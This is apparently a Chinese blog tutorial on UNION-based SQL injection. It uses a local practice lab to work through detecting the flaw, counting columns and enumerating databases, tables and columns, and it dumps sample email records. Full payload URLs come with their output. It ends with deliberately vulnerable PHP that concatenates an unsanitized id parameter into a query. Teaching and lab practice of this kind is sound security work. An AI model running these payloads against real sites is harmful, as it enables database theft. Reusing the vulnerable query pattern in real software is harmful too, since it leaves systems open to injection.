zoukankan      html  css  js  c++  java
  • SQL注入基础:1.union注入

    SQL注入基础:1.union注入

    SQL注入基础:1.union注入

    1.1 union注入攻击

    1)判断是否存在注入

    URL:http://www.tianchi.com/web/union.php?id=1

    URL:http://www.tianchi.com/web/union.php?id=1'

    URL:http://www.tianchi.com/web/union.php?id=1 and 1=1

    URL:http://www.tianchi.com/web/union.php?id=1 and 1=2

    发现可能存在SQL注入漏洞。

    2)查询字段数量

    URL:http://www.tianchi.com/web/union.php?id=1 order by 3

    当id=1 order by 3时,页面返回与id=1相同的结果;而id=1 order by 4时不一样,故字段数量是3。

    3)查询SQL语句插入位置

    URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,2,3

    可以看到2,3位置可以插入SQL语句。

    4)获取数据库库名

    (1)获取当前数据库库名

    2位置修改为:database()

    URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,database(),3

    (2)获取所有数据库库名

    URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),schema_name),3 from information_schema.schemata

    (3)逐条获取数据库库名

    语句:select schema_name from information_schema.schemata limit 0,1;

    URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select schema_name from information_schema.schemata limit 0,1),3

    修改limit中第一个数字,如获取第二个库名:limit 1,1。

    数据库库名:information_schema,challenges,dedecmsv57utf8sp2,dvwa,mysql,performance_schema,security,test,xssplatform

    5)获取数据库表名

    (1)方法一:

    获取数据库表名,这种方式一次获取一个表名,2位置修改为:

    select table_name from information_schema.tables where table_schema='security' limit 0,1;

    URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3

    修改limit中第一个数字,如获取第二个表名:limit 1,1,这样就可以获取所有的表名。

    表名是:emails,referers,uagents,users。

    (2)方法二:

    一次性获取当前数据库所有表名:

    URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),table_name),3 from information_schema.tables where table_schema='security'

    6)获取字段名

    (1)方法一:

    获取字段名,以emails表为例,2位置修改为:

    select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1;

    URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),3

    修改limit中第一个数字,如获取第二个字段名:limit 1,1

    字段名:id,email_id。

    (2)方法二:

    以emails表为例,一次性获取所有字段名:

    URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),column_name),3 from information_schema.columns where table_schema='security' and table_name='emails'

    7)获取数据

    (1)方法一:

    获取数据,以emails表为例,2,3位置分别修改为:

    (select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)

    获取emails表第一,第二条数据:

           1 : Dumb@dhakkan.com

           2 : Angel@iloveu.com

    URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)

    (2)方法二:

    以emails表为例,一次性获取所有数据:

    URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),id,email_id),3 from security.emails

    1.2 union注入PHP代码

    1.  
      <?php
    2.  
      $con=mysqli_connect("localhost","root","root","security");
    3.  
      mysqli_set_charset($con,'utf8');
    4.  
      if(!$con){
    5.  
      echo "Connect failed : ".mysqli_connect_error();
    6.  
      }
    7.  
       
    8.  
      $id=$_GET['id'];
    9.  
      $result=mysqli_query($con,"select * from users where id=".$id );
    10.  
      $row=mysqli_fetch_array($result);
    11.  
      echo $row['username']." : ".$row['password'];
    12.  
      ?>
     
  • 相关阅读:
    Centos7 GRE Tunnel
    centos 7 增加永久静态路由
    ceph bluestore与 filestore 数据存放的区别
    swift对象存储安装
    [WebRTC] Audio Codec Encoder 基类注解
    [WebRTC] 源码中的Audio Codec整理
    [Math] Maple函数用法
    [Server] Nginx Https配置 及 Firefox提示“此页面使用较弱加密”
    [Windows] 导出所有设置过的Group Policy
    [Tool] WebDav 安装及使用
  • 原文地址:https://www.cnblogs.com/P201421460007/p/12762257.html
Copyright © 2011-2022 走看看